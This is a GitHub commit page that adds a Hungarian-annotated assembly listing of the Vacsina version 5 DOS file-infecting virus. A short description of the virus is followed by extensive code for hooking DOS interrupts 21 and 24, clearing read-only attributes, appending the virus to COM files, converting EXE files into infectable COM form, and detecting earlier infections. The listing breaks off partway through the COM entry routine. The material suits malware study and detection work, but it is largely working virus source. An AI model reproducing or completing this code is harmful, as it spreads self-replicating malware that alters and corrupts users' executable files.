mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-16 15:59:24 +00:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,896 @@
|
||||
|
||||
***************************
|
||||
* A Vacsina 5-”s verzi˘ja *
|
||||
***************************
|
||||
|
||||
A vˇrus a mem˘ri ban val˘ elhelyezked‚se ‚s CS-e szerint van list zva.
|
||||
|
||||
A vˇrus hossza COM fileban 1206D-1221D, EXE fileban 132D, illetve 1338D-1353D by
|
||||
te.
|
||||
|
||||
Nem zen‚l, semmi k rt nem tesz. (Csak a fileok idej‚t nem llˇtja vissza. )
|
||||
|
||||
A fileokat a 4B DOS funkci˘ meghˇv sakor fert”zi meg.
|
||||
|
||||
Egy file fert”z”tts‚g‚t az utols˘ 8 byteb˘l llapˇtja meg. B”vebb leˇr s t l sd
|
||||
ott. Kiˇrt sa is
|
||||
ez alapj n t”rt‚nhet.
|
||||
|
||||
1206D-n l hosszabb,62867D-n‚l r”videbb,JMP-pal kezd”d” COM fileokat, valamint a
|
||||
64947D-n‚l r”videbb
|
||||
EXE fileokat fert”zi.A COM fileokat paragrafushat rra kerekˇti, majd a lejjebb l
|
||||
that˘ form ban
|
||||
az eg‚sz vˇrust a mem˘rialeˇr˘ blokkj val egy�tt a filehoz m solja. Fert”z‚s ut
|
||||
n egy bip hangot
|
||||
hallat. A fert”z‚s idej‚re egy VACSINA nev� filet megnyit, de semmit sem csin l
|
||||
vele. Futtat skor
|
||||
az eredeti 3 byteot nem ˇrja vissza, hanem direkt oda ugrik, ahova a file elei J
|
||||
MP mutatott.
|
||||
EXE filehoz, ha a headerje stimmel, 0039-t”l 0084 byteot f�z (nincs kerekˇt‚s).
|
||||
Ez a r‚sz semmit
|
||||
sem csin l, csak futtatja az eredeti EXE-t. C‚lja, hogy EXE-b”l COM-ot csin ljon
|
||||
,ˇgy a vˇrus k‚s”bb
|
||||
m r megfert”zheti.�rdekes,hogy majdnem ugyanezt a k˘dsorozatot tal ltam t”bb ere
|
||||
deti MS-DOS 3.10- s
|
||||
fileon (DEBUG,PRINT,...). Igy a vˇrusˇr˘ ezt a r‚szt (az EXE-k relok l s t) inne
|
||||
n vette. Felt‚te-
|
||||
lezem, hogy van egy olyan EXE2BIN program, ami nem relok lhat˘ EXE-ket is COM-m
|
||||
alakˇt. Innen
|
||||
sz rmazhat ez a k˘dr‚szlet.
|
||||
|
||||
Azt, hogy m r a mem˘ri ban van-e a Vacsina a 0000:00C5-”n ehelyezett 397F azonos
|
||||
ˇt˘sz˘b˘l llapitja
|
||||
meg. 0000:00C7-re helyezi a vˇrus verzi˘sz m t.
|
||||
|
||||
|
||||
|
||||
FFF0 MLB DB 4D ;A vˇrus egy k�l”n mem˘riablokkban helyezkedik
|
||||
el.
|
||||
FFF1 MLB_GAZDA DW ? ;Furcsa m˘don ezt is "cipeli" mag val
|
||||
FFF3 MLB_HOSSZ DW ? ;Mem˘riablokk hossza paragrafusokban
|
||||
FFF5 DB 0B DUP ?
|
||||
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; V ltoz˘k
|
||||
;---------------------------------------------------------------
|
||||
|
||||
0000 ERE_INT21 DD ? ;INT 21 eredeti cˇme
|
||||
0004 ERE_INT24 DD ? ;INT 24 eredeti cˇme
|
||||
0008 F_ATTR DW ? ;File eredeti attributtuma
|
||||
000A HANDLE DW ? ;File handle
|
||||
000C BUFFER DB 8 DUP (?) ;8 byte beffer
|
||||
|
||||
|
||||
; Egy szabv nyos FCB
|
||||
|
||||
0014 FCB DB 0 ;Aktu lis drive
|
||||
0015 DB 'VACSINA ' ;File n‚v
|
||||
0020 DW ? ;Kurrens blokk
|
||||
0022 DW ? ;Rekordhossz
|
||||
0024 DD ? ;File hossz
|
||||
0028 DW ? ;D tum
|
||||
002A DW ? ;Id”
|
||||
002C DB 8 DUP (?) ;Lefoglalt
|
||||
0034 DB ? ;Rekordsz m a blokkban
|
||||
0035 DD ? ;Random rekord
|
||||
|
||||
|
||||
;------------------------------------------------------------------
|
||||
;EXE filehoz csak az innent”l kezd”d” 0084 (132D) byteot ˇrja hozz
|
||||
;------------------------------------------------------------------
|
||||
|
||||
0039 DB ' ' ;20 db SPC
|
||||
|
||||
ORG 0045 ;Źtfed‚s 0045-004C-ig
|
||||
|
||||
0045 KEZD_IP DW ? ;ip kezdeti ‚rt‚ke ez lesz
|
||||
0047 KEZD_CS DW ? ;cs kezdeti ‚rt‚ke ez lesz
|
||||
0049 KEZD_SP DW ? ;sp kezdeti ‚rt‚ke ez lesz
|
||||
004B KEZD_SS DW ? ;ss kezdeti ‚rt‚ke ez lesz
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; Bel‚p‚si pont eredetileg EXE filen l
|
||||
;---------------------------------------------------------------
|
||||
;Ezzel a r‚sszel ‚ri el, hogy egy EXE file COM form tumŁ legyen ‚s lehessen
|
||||
fert”zni
|
||||
|
||||
004D E80000 CALL 0050
|
||||
0050 5B * POP BX ;bx=0050
|
||||
0051 50 PUSH AX
|
||||
0052 8CC0 MOV AX,ES
|
||||
0054 051000 ADD AX,0010 ;ax a program leend” elej‚re mutat
|
||||
0057 8B0E0E01 MOV CX,[010E] ;Stack t vols g
|
||||
005B 03C8 ADD CX,AX ;Mi lesz ss kezdeti ‚rt‚ke
|
||||
005D 894FFB MOV [BX-05],CX ;KEZD_SS (004B)
|
||||
0060 8B0E1601 MOV CX,[0116] ;K˘dter�let t vols ga
|
||||
0064 03C8 ADD CX,AX
|
||||
0066 894FF7 MOV [BX-09],CX ;KEZD_CS (0047)
|
||||
0069 8B0E1001 MOV CX,[0110] ;sp kezdeti ‚rt‚ke
|
||||
006D 894FF9 MOV [BX-07],CX ;KEZD_SP (0049)
|
||||
0070 8B0E1401 MOV CX,[0114] ;ip kezdeti ‚rt‚ke
|
||||
0074 894FF5 MOV [BX-0B],CX ;KEZD_IP (0045)
|
||||
0077 8B3E1801 MOV DI,[0118] ;Els” reklok ci˘s bejegyz‚s
|
||||
007B 8B160801 MOV DX,[0108] ;Header hossza paragrafusban
|
||||
007F B104 MOV CL,04
|
||||
0081 D3E2 SHL DX,CL ;Header hossza byteokban
|
||||
0083 8B0E0601 MOV CX,[0106] ;Relok ci˘s bejegyz‚sek sz ma
|
||||
0087 E317 JCXZ 00A0 ;Ugr s, ha nincs mit relok lni
|
||||
|
||||
|
||||
; Relok l s ciklusa
|
||||
|
||||
0089 26 * ES:
|
||||
008A C5B50001 LDS SI,[DI+0100] ;Hol kell relok lni
|
||||
008E 83C704 ADD DI,+04 ;K”vetkez” relok ci˘s bejegyz‚s
|
||||
0091 8CDD MOV BP,DS
|
||||
0093 26 ES:
|
||||
0094 032E0801 ADD BP,[0108] ;Header hossza paragrafusban
|
||||
0098 03E8 ADD BP,AX ;ax=program (file) val˘di kezdete
|
||||
009A 8EDD MOV DS,BP ;Itt kell relok lni
|
||||
009C 0104 ADD [SI],AX ;Relok ci˘
|
||||
009E E2E9 LOOP 0089
|
||||
|
||||
|
||||
; Az trelok lt programot a hely‚re rakja
|
||||
|
||||
00A0 0E * PUSH CS
|
||||
00A1 1F POP DS ;ds=cs
|
||||
00A2 BF0001 MOV DI,0100
|
||||
00A5 8BF2 MOV SI,DX ;dx=Header hossza byteokban
|
||||
00A7 81C60001 ADD SI,0100
|
||||
00AB 8BCB MOV CX,BX ;Mennyi byteot kell mozgatni ? (Ez e
|
||||
gy kicsit t”bb)
|
||||
00AD 2BCE SUB CX,SI
|
||||
00AF F3 REPZ
|
||||
00B0 A4 MOVSB
|
||||
|
||||
|
||||
; Az eredeti EXE program futtat sa
|
||||
|
||||
00B1 58 POP AX ;ax eredeti ‚rt‚ke
|
||||
00B2 FA CLI
|
||||
00B3 8E57FB MOV SS,[BX-05] ;KEZD_SS
|
||||
00B6 8B67F9 MOV SP,[BX-07] ;KEZD_SP
|
||||
00B9 FB STI
|
||||
00BA FF6FF5 JMP FAR [BX-0B] ;KEZD_IP, KEZD_CS
|
||||
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; INT 24 (DOS kritikus hibakezel”je)
|
||||
;---------------------------------------------------------------
|
||||
|
||||
|
||||
00BD B003 * MOV AL,03 ;DOS hib t jelezzen
|
||||
00BF CF IRET
|
||||
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; INT 21 (DOS bel‚p‚si pontja)
|
||||
;---------------------------------------------------------------
|
||||
; Csak a 4B00 (EXECUTE) funkci˘n l avatkozik k”zbe
|
||||
|
||||
00C0 9C * PUSHF
|
||||
00C1 3D004B CMP AX,4B00
|
||||
00C4 7406 JZ 00CC
|
||||
00C6 9D POPF
|
||||
00C7 2E CS:
|
||||
00C8 FF2E0000 JMP FAR [0000]
|
||||
|
||||
|
||||
|
||||
; A DOS 4B00 alfunkci˘ja
|
||||
|
||||
00CC 06 * PUSH ES ;bp+10
|
||||
00CD 1E PUSH DS ;bp+0E
|
||||
00CE 55 PUSH BP ;bp+0C
|
||||
00CF 57 PUSH DI ;bp+0A
|
||||
00D0 56 PUSH SI ;bp+08
|
||||
00D1 52 PUSH DX ;bp+06
|
||||
00D2 51 PUSH CX ;bp+04
|
||||
00D3 53 PUSH BX ;bp+02
|
||||
00D4 50 PUSH AX ;bp+00
|
||||
00D5 8BEC MOV BP,SP
|
||||
|
||||
|
||||
; INT 24 lek‚rdez‚se, tˇr sa
|
||||
|
||||
00D7 B82435 MOV AX,3524 ;GET_INT_VECT (es:bx)
|
||||
00DA CD21 INT 21
|
||||
00DC 2E CS:
|
||||
00DD 8C060600 MOV [0006],ES ;ERE_INT24+2
|
||||
00E1 2E CS:
|
||||
00E2 891E0400 MOV [0004],BX ;ERE_INT24
|
||||
00E6 0E PUSH CS
|
||||
00E7 1F POP DS
|
||||
00E8 BABD00 MOV DX,00BD
|
||||
00EB B82425 MOV AX,2524 ;SET_INT_VECT (ds:dx)
|
||||
00EE CD21 INT 21
|
||||
|
||||
|
||||
; A VACSINA nev� file megnyit sa (val˘szˇn�leg a vˇrus nyomonk”vet‚se miatt
|
||||
)
|
||||
|
||||
00F0 0E PUSH CS ;Megj.:felesleges
|
||||
00F1 1F POP DS
|
||||
00F2 BA1400 MOV DX,0014
|
||||
00F5 B40F MOV AH,0F ;OPEN_FCB (ds:dx)
|
||||
00F7 CD21 INT 21
|
||||
|
||||
|
||||
; File eredeti attributtum nak lek‚rdez‚se, R/O bit t”rl‚se
|
||||
|
||||
00F9 B80043 MOV AX,4300 ;GET_FILE_ATTR (cx)
|
||||
00FC 8E5E0E MOV DS,[BP+0E]
|
||||
00FF 8B5606 MOV DX,[BP+06]
|
||||
0102 CD21 INT 21
|
||||
0104 7303 JNB 0109
|
||||
0106 E9DA01 JMP 02E3 ;Hib n l
|
||||
0109 2E * CS:
|
||||
010A 890E0800 MOV [0008],CX ;F_ATTR
|
||||
010E B80143 MOV AX,4301 ;SET_FILE_ATTR (cx)
|
||||
0111 80E1FE AND CL,FE ;R/O bit t”rl‚se
|
||||
0114 CD21 INT 21
|
||||
0116 7303 JNB 011B
|
||||
0118 E9C801 JMP 02E3 ;Hib n l
|
||||
|
||||
|
||||
; C‚lbavett file megnyit sa
|
||||
; HIBA !!! A file eredeti idej‚t nem k‚rdezi le ‚s nem llˇtja vissza.
|
||||
|
||||
011B B8023D * MOV AX,3D02 ;OPEN_HANDLE (dx:dx)
|
||||
011E 8E5E0E MOV DS,[BP+0E]
|
||||
0121 8B5606 MOV DX,[BP+06]
|
||||
0124 CD21 INT 21
|
||||
0126 7303 JNB 012B
|
||||
0128 E9A801 JMP 02D3 ;Hib n l
|
||||
012B 2E * CS:
|
||||
012C A30A00 MOV [000A],AX ;HANDLE
|
||||
012F 8BD8 MOV BX,AX
|
||||
|
||||
|
||||
; File els” 6 bytej nak beolvas sa a BUFFER-be
|
||||
|
||||
0131 0E PUSH CS
|
||||
0132 1F POP DS
|
||||
0133 BA0C00 MOV DX,000C ;offset BUFFER
|
||||
0136 B90600 MOV CX,0006 ;6 byte olvas sa
|
||||
0139 B43F MOV AH,3F ;READ_HANDLE (bx,ds:dx,cx)
|
||||
013B CD21 INT 21
|
||||
013D 7219 JB 0158 ;Hib n l
|
||||
013F 3D0600 CMP AX,0006
|
||||
0142 7514 JNZ 0158
|
||||
|
||||
|
||||
; EXE-e a kiszemelt file ?
|
||||
|
||||
0144 2E CS:
|
||||
0145 813E0C004D5A CMP WORD PTR [000C],5A4D;EXE file-e
|
||||
014B 7503 JNZ 0150
|
||||
014D E9B501 JMP 0305
|
||||
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; COM file
|
||||
;---------------------------------------------------------------
|
||||
|
||||
0150 2E * CS:
|
||||
0151 803E0C00E9 CMP BYTE PTR [000C],E9 ;Csak akkor fert”zz�k, ha JMP-pal kez
|
||||
d”dik
|
||||
0156 7403 JZ 015B
|
||||
|
||||
|
||||
; Seg‚dugr s hib n l
|
||||
|
||||
0158 E96F01 * JMP 02CA
|
||||
|
||||
|
||||
; 1206D < file hossz < 62867D
|
||||
|
||||
015B B80242 * MOV AX,4202 ;File v‚g‚re ll s
|
||||
015E B90000 MOV CX,0000
|
||||
0161 8BD1 MOV DX,CX
|
||||
0163 2E CS:
|
||||
0164 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
0168 CD21 INT 21 ;dx:ax=file hossz
|
||||
016A 72EC JB 0158 ;Hib n l
|
||||
016C 83FA00 CMP DX,+00
|
||||
016F 75E7 JNZ 0158
|
||||
0171 3DB604 CMP AX,04B6
|
||||
0174 76E2 JBE 0158
|
||||
0176 3D93F5 CMP AX,F593
|
||||
0179 73DD JNB 0158
|
||||
|
||||
|
||||
; File adatainak elt rol sa
|
||||
|
||||
017B 2E CS:
|
||||
017C A39E04 MOV [049E],AX ;ERE_HOSSZ
|
||||
017F 2E CS:
|
||||
0180 A10D00 MOV AX,[000D] ;File 2.,3. byteja
|
||||
0183 050301 ADD AX,0103 ;+ 0103
|
||||
0186 2E CS:
|
||||
0187 A3A004 MOV [04A0],AX ;ERE_2_3
|
||||
|
||||
|
||||
; File utols˘ 8 bytej nak beolvas sa
|
||||
|
||||
018A B80242 MOV AX,4202 ;File v‚ge-8-dik pozˇci˘ra
|
||||
018D B9FFFF MOV CX,FFFF
|
||||
0190 BAF8FF MOV DX,FFF8
|
||||
0193 2E CS:
|
||||
0194 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
0198 CD21 INT 21
|
||||
019A 72BC JB 0158 ;Hib n l
|
||||
019C 2E CS:
|
||||
019D 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
01A1 0E PUSH CS
|
||||
01A2 1F POP DS
|
||||
01A3 BA0C00 MOV DX,000C ;offset BUFFER
|
||||
01A6 B90800 MOV CX,0008 ;8 byte olvas sa
|
||||
01A9 B43F MOV AH,3F ;READ_HANDLE (bx,ds:dx,cx)
|
||||
01AB CD21 INT 21
|
||||
01AD 72A9 JB 0158 ;Hib n l
|
||||
01AF 3D0800 CMP AX,0008
|
||||
01B2 75A4 JNZ 0158 ;Hib n l
|
||||
|
||||
|
||||
; Fert”z”tt-e m r a file
|
||||
|
||||
01B4 2E CS:
|
||||
01B5 813E1000F47A CMP WORD PTR [0010],7AF4;Azonosˇt˘sz˘
|
||||
01BB 7577 JNZ 0234 ;M‚g nem fer”z”tt
|
||||
01BD 2E CS:
|
||||
01BE 833E120005 CMP WORD PTR [0012],+05 ;Verzi˘sz m
|
||||
01C3 90 NOP
|
||||
01C4 7392 JNB 0158 ;Nem fert”zz�k
|
||||
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; Egy kor bbi Vacsina m r megfert”zte (azt kiˇrtja)
|
||||
;---------------------------------------------------------------
|
||||
; Fert”z”tt file eredeti adatai
|
||||
|
||||
01C6 2E CS:
|
||||
01C7 A10C00 MOV AX,[000C] ;ERE_HOSSZ
|
||||
01CA 2E CS:
|
||||
01CB A39E04 MOV [049E],AX ;ERE_HOSSZ
|
||||
01CE 2E CS:
|
||||
01CF A10E00 MOV AX,[000E] ;ERE_2_3
|
||||
01D2 2E CS:
|
||||
01D3 A3A004 MOV [04A0],AX ;ERE_2_3
|
||||
01D6 2D0301 SUB AX,0103
|
||||
01D9 2E CS:
|
||||
01DA A30C00 MOV [000C],AX ;Eredeti 2.,3. byteja a filenak
|
||||
|
||||
|
||||
; File eredeti 2.,3. bytej nak visszaˇr sa
|
||||
|
||||
01DD B80042 MOV AX,4200 ;File 2. bytej ra ll
|
||||
01E0 B90000 MOV CX,0000
|
||||
01E3 BA0100 MOV DX,0001
|
||||
01E6 2E CS:
|
||||
01E7 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
01EB CD21 INT 21
|
||||
01ED 725F JB 024E ;Hib n l
|
||||
01EF B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx)
|
||||
01F1 0E PUSH CS
|
||||
01F2 1F POP DS
|
||||
01F3 BA0C00 MOV DX,000C ;offset BUFFER
|
||||
01F6 B90200 MOV CX,0002 ;2 byte ˇr sa
|
||||
01F9 CD21 INT 21
|
||||
01FB 7251 JB 024E ;Hib n l
|
||||
01FD 3D0200 CMP AX,0002
|
||||
0200 754C JNZ 024E ;Hib n l
|
||||
|
||||
|
||||
; Directory bejegyz‚s aktualiz l sa
|
||||
|
||||
0202 2E CS:
|
||||
0203 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
0207 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx)
|
||||
0209 CD21 INT 21
|
||||
020B 7208 JB 0215 ;Hib n l
|
||||
020D 8BD8 MOV BX,AX
|
||||
020F B43E MOV AH,3E ;CLOSE_HANDLE (bx)
|
||||
0211 CD21 INT 21
|
||||
0213 7239 JB 024E ;Hib n l
|
||||
|
||||
|
||||
; File eredeti m‚retre v g sa
|
||||
|
||||
0215 B80042 MOV AX,4200 ;File eredeti v‚g‚re ll
|
||||
0218 B90000 MOV CX,0000
|
||||
021B 2E CS:
|
||||
021C 8B169E04 MOV DX,[049E] ;ERE_HOSSZ
|
||||
0220 2E CS:
|
||||
0221 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
0225 CD21 INT 21
|
||||
0227 7225 JB 024E ;Hib n l
|
||||
0229 B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx)
|
||||
022B 0E PUSH CS
|
||||
022C 1F POP DS
|
||||
022D B90000 MOV CX,0000 ;Csonkol s
|
||||
0230 CD21 INT 21
|
||||
0232 721A JB 024E ;Hib n l
|
||||
|
||||
|
||||
; COM file megfert”z‚se
|
||||
; Filehossz kerekˇt‚se paragrafushat rra
|
||||
|
||||
0234 B80042 * MOV AX,4200
|
||||
0237 B90000 MOV CX,0000
|
||||
023A 2E CS:
|
||||
023B 8B169E04 MOV DX,[049E] ;ERE_HOSSZ
|
||||
023F 83C20F ADD DX,+0F
|
||||
0242 83E2F0 AND DX,-10 ;Kerekˇt‚s
|
||||
0245 2E CS:
|
||||
0246 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
024A CD21 INT 21
|
||||
024C 7303 JNB 0251
|
||||
|
||||
|
||||
; Seg‚dugr s hib n l
|
||||
|
||||
024E EB7A * JMP 02CA ;Hib n l
|
||||
0250 90 NOP
|
||||
|
||||
|
||||
; A vˇrus mem˘rialeˇr˘ blokkj val egy�tt hozz m solja mag t a filehoz
|
||||
|
||||
0251 2E CS:
|
||||
0252 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
0256 8CCA MOV DX,CS
|
||||
0258 4A DEC DX
|
||||
0259 8EDA MOV DS,DX ;ds=cs-1 (mem.leˇr˘ blokkra mutat)
|
||||
025B BA0000 MOV DX,0000
|
||||
025E B9B604 MOV CX,04B6 ;Vˇrus hossza (1206)
|
||||
0261 B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx)
|
||||
0263 CD21 INT 21
|
||||
0265 72E7 JB 024E ;Hib n l
|
||||
0267 3DB604 CMP AX,04B6
|
||||
026A 75E2 JNZ 024E ;Hib n l
|
||||
|
||||
|
||||
; Directory bejegyz‚s aktualiz l sa
|
||||
|
||||
026C 2E CS:
|
||||
026D 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
0271 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx)
|
||||
0273 CD21 INT 21
|
||||
0275 7208 JB 027F ;Hib n l
|
||||
0277 8BD8 MOV BX,AX
|
||||
0279 B43E MOV AH,3E ;CLOSE_HANDLE (bx)
|
||||
027B CD21 INT 21
|
||||
027D 72CF JB 024E ;Hib n l
|
||||
|
||||
|
||||
; File leend” els” 3 bytej nak kisz mˇt sa
|
||||
|
||||
027F 2E CS:
|
||||
0280 C6060C00E9 MOV BYTE PTR [000C],E9 ;JMP k˘dja
|
||||
0285 2E CS:
|
||||
0286 8B169E04 MOV DX,[049E] ;ERE_HOSSZ
|
||||
028A 83C20F ADD DX,+0F
|
||||
028D 83E2F0 AND DX,-10 ;Kerekˇt‚s
|
||||
0290 83EA03 SUB DX,+03 ;-3 a JMP miatt
|
||||
0293 81C2AC03 ADD DX,03AC ;Bel‚p‚si pont eltol sa a file v‚g‚h
|
||||
ez k‚pest
|
||||
0297 2E CS:
|
||||
0298 89160D00 MOV [000D],DX ;JMP operandusa
|
||||
|
||||
|
||||
; File els” 3 bytej nak tˇr sa
|
||||
|
||||
029C B80042 MOV AX,4200 ;File elej‚re
|
||||
029F B90000 MOV CX,0000
|
||||
02A2 8BD1 MOV DX,CX
|
||||
02A4 2E CS:
|
||||
02A5 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
02A9 CD21 INT 21
|
||||
02AB 72A1 JB 024E ;Hib n l
|
||||
02AD 2E CS:
|
||||
02AE 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
02B2 0E PUSH CS
|
||||
02B3 1F POP DS
|
||||
02B4 BA0C00 MOV DX,000C ;offset BEFFER
|
||||
02B7 B90300 MOV CX,0003 ;3 byte ˇr sa
|
||||
02BA B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx)
|
||||
02BC CD21 INT 21
|
||||
02BE 728E JB 024E ;Hib n l
|
||||
02C0 3D0300 CMP AX,0003
|
||||
02C3 7589 JNZ 024E ;Hib n l
|
||||
|
||||
|
||||
; Egy BELL kiad sa (Val˘szˇn�leg ez a verzi˘ m‚g tesztp‚ld ny)
|
||||
|
||||
02C5 B8070E MOV AX,0E07 ;WRITE_TELETYPE
|
||||
02C8 CD10 INT 10
|
||||
|
||||
|
||||
; File lez r sa
|
||||
|
||||
02CA B43E * MOV AH,3E ;CLOSE_HANDLE (bx)
|
||||
02CC 2E CS:
|
||||
02CD 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
02D1 CD21 INT 21
|
||||
|
||||
|
||||
; File eredeti attributtum nak vissza llˇt sa
|
||||
|
||||
02D3 B80143 * MOV AX,4301 ;SET_FILE_ATTR (cx)
|
||||
02D6 8E5E0E MOV DS,[BP+0E] ;File nev‚re mutat
|
||||
02D9 8B5606 MOV DX,[BP+06]
|
||||
02DC 2E CS:
|
||||
02DD 8B0E0800 MOV CX,[0008] ;F_ATTR
|
||||
02E1 CD21 INT 21
|
||||
|
||||
|
||||
; A VACSINA nev� file lez r sa (Łj d tumot kap, semmi m s)
|
||||
|
||||
02E3 0E * PUSH CS
|
||||
02E4 1F POP DS
|
||||
02E5 BA1400 MOV DX,0014 ;FCB
|
||||
02E8 B410 MOV AH,10 ;CLOSE_FCB
|
||||
02EA CD21 INT 21
|
||||
|
||||
|
||||
; INT 24 visszaˇr sa, eredeti DOS funkci˘ hˇv sa
|
||||
|
||||
02EC B82425 MOV AX,2524 ;SET_INT_VECT (ds:dx)
|
||||
02EF 2E CS:
|
||||
02F0 C5160400 LDS DX,[0004] ;ERE_INT24
|
||||
02F4 CD21 INT 21
|
||||
02F6 58 POP AX
|
||||
02F7 5B POP BX
|
||||
02F8 59 POP CX
|
||||
02F9 5A POP DX
|
||||
02FA 5E POP SI
|
||||
02FB 5F POP DI
|
||||
02FC 5D POP BP
|
||||
02FD 1F POP DS
|
||||
02FE 07 POP ES
|
||||
02FF 9D POPF
|
||||
0300 2E CS:
|
||||
0301 FF2E0000 JMP FAR [0000] ;ERE_INT21
|
||||
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; EXE file COM-m alkˇt sa
|
||||
;---------------------------------------------------------------
|
||||
; file hossz < 64947D
|
||||
|
||||
0305 B80242 * MOV AX,4202 ;File v‚g‚re ll
|
||||
0308 B90000 MOV CX,0000
|
||||
030B 8BD1 MOV DX,CX
|
||||
030D 2E CS:
|
||||
030E 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
0312 CD21 INT 21
|
||||
0314 72B4 JB 02CA ;Hib n l
|
||||
0316 83FA00 CMP DX,+00
|
||||
0319 75AF JNZ 02CA
|
||||
031B 3DB3FD CMP AX,FDB3 ;64947D
|
||||
031E 73AA JNB 02CA
|
||||
|
||||
|
||||
; Stimmel-e az EXE headerje?
|
||||
|
||||
0320 2E CS:
|
||||
0321 A39E04 MOV [049E],AX ;ERE_HOSSZ
|
||||
0324 2E CS:
|
||||
0325 A11000 MOV AX,[0010] ;Filehossz lapokban
|
||||
0328 48 DEC AX
|
||||
0329 B109 MOV CL,09 ;* 512D
|
||||
032B D3E0 SHL AX,CL
|
||||
032D 2E CS:
|
||||
032E 03060E00 ADD AX,[000E] ;+a marad‚k
|
||||
0332 2E CS:
|
||||
0333 3B069E04 CMP AX,[049E] ;Egyezik-e a hosszal?
|
||||
0337 7591 JNZ 02CA ;Ha nem
|
||||
|
||||
|
||||
; A vˇrus egy r‚sz‚t hozz f�zi az EXE-hez (Igy COM lehet majd az EXE)
|
||||
|
||||
0339 2E CS:
|
||||
033A 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
033E B440 MOV AH,40 ;WRITE_HANDLE (bx,ds:dx,cx)
|
||||
0340 0E PUSH CS
|
||||
0341 1F POP DS
|
||||
0342 BA3900 MOV DX,0039 ;Innent”l
|
||||
0345 B98400 MOV CX,0084 ;132D byte kiˇr sa
|
||||
0348 CD21 INT 21
|
||||
034A 72C8 JB 0314 ;Hib n l
|
||||
034C 3D8400 CMP AX,0084
|
||||
034F 75E6 JNZ 0337 ;Hib n l
|
||||
|
||||
|
||||
; Directory bejegyz‚s aktualiz l sa
|
||||
|
||||
0351 2E CS:
|
||||
0352 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
0356 B445 MOV AH,45 ;DUPLICATE_HANDLE (bx)
|
||||
0358 CD21 INT 21
|
||||
035A 7208 JB 0364 ;Hib n l
|
||||
035C 8BD8 MOV BX,AX
|
||||
035E B43E MOV AH,3E ;CLOSE_HANDLE (bx)
|
||||
0360 CD21 INT 21
|
||||
0362 72B0 JB 0314 ;Hib n l
|
||||
|
||||
|
||||
; File elj‚re
|
||||
|
||||
0364 B80042 MOV AX,4200
|
||||
0367 B90000 MOV CX,0000
|
||||
036A 8BD1 MOV DX,CX
|
||||
036C 2E CS:
|
||||
036D 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
0371 CD21 INT 21
|
||||
0373 729F JB 0314 ;Hib n l
|
||||
|
||||
|
||||
; Leend” els” 3 byte kisz mˇt sa
|
||||
|
||||
0375 2E CS:
|
||||
0376 C6060C00E9 MOV BYTE PTR [000C],E9 ;JMP k˘dja
|
||||
037B 2E CS:
|
||||
037C A19E04 MOV AX,[049E] ;ERE_HOSSZ
|
||||
037F 051100 ADD AX,0011 ;0039+0011+3=004D a bel‚p‚si pont
|
||||
0382 2E CS:
|
||||
0383 A30D00 MOV [000D],AX ;JMP operandusa
|
||||
|
||||
|
||||
; Az els” 3 byte fel�lˇr sa
|
||||
|
||||
0386 2E CS:
|
||||
0387 8B1E0A00 MOV BX,[000A] ;HANDLE
|
||||
038B B440 MOV AH,40 ;WRITE_HANDLE
|
||||
038D 0E PUSH CS
|
||||
038E 1F POP DS
|
||||
038F BA0C00 MOV DX,000C ;offset BUFFER
|
||||
0392 B90300 MOV CX,0003 ;3 byte ˇr sa
|
||||
0395 CD21 INT 21 ;COM tˇpusŁ lesz a file
|
||||
0397 E930FF JMP 02CA ;V‚ge
|
||||
;Megj.:Ha itt egy JMP 0150 llna egyb”l fert”zhetne
|
||||
EXE-t
|
||||
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; V ltoz˘ (ax eredeti ‚rt‚ke)
|
||||
;---------------------------------------------------------------
|
||||
|
||||
039A ERE_AX DW ?
|
||||
|
||||
|
||||
;---------------------------------------------------------------
|
||||
; Bel‚p‚si pont COM programn l
|
||||
|
||||
;---------------------------------------------------------------
|
||||
|
||||
039C E80000 * CALL 039F
|
||||
039F 5B * POP BX ;bx=039F
|
||||
03A0 2E CS:
|
||||
03A1 8947FB MOV [BX-05],AX ;ERE_AX (039A)
|
||||
|
||||
|
||||
; Annak eld”nt‚se, hogy a mem˘ri ban ven-e m r Vacsina
|
||||
|
||||
03A4 B80000 MOV AX,0000
|
||||
03A7 8EC0 MOV ES,AX
|
||||
03A9 26 ES:
|
||||
03AA A1C500 MOV AX,[00C5] ;INT 31 vektor nak 2.,3. byteja
|
||||
03AD 3D7F39 CMP AX,397F ;Van-e m r Vacsina a mem˘ri ban ?
|
||||
03B0 7508 JNZ 03BA ;Ugr s, ha m‚g nem.
|
||||
03B2 26 ES:
|
||||
03B3 A0C700 MOV AL,[00C7] ;Mem˘ri ban l‚v” vˇrus verzi˘sz ma
|
||||
03B6 3C05 CMP AL,05 ;Ennek a vˇrusnak a verzi˘sz ma
|
||||
03B8 7332 JNB 03EC ;Ugr s, ha Łjjabb vagy ez a verzi˘
|
||||
|
||||
|
||||
; Van-e el‚g szadab mem˘ria
|
||||
|
||||
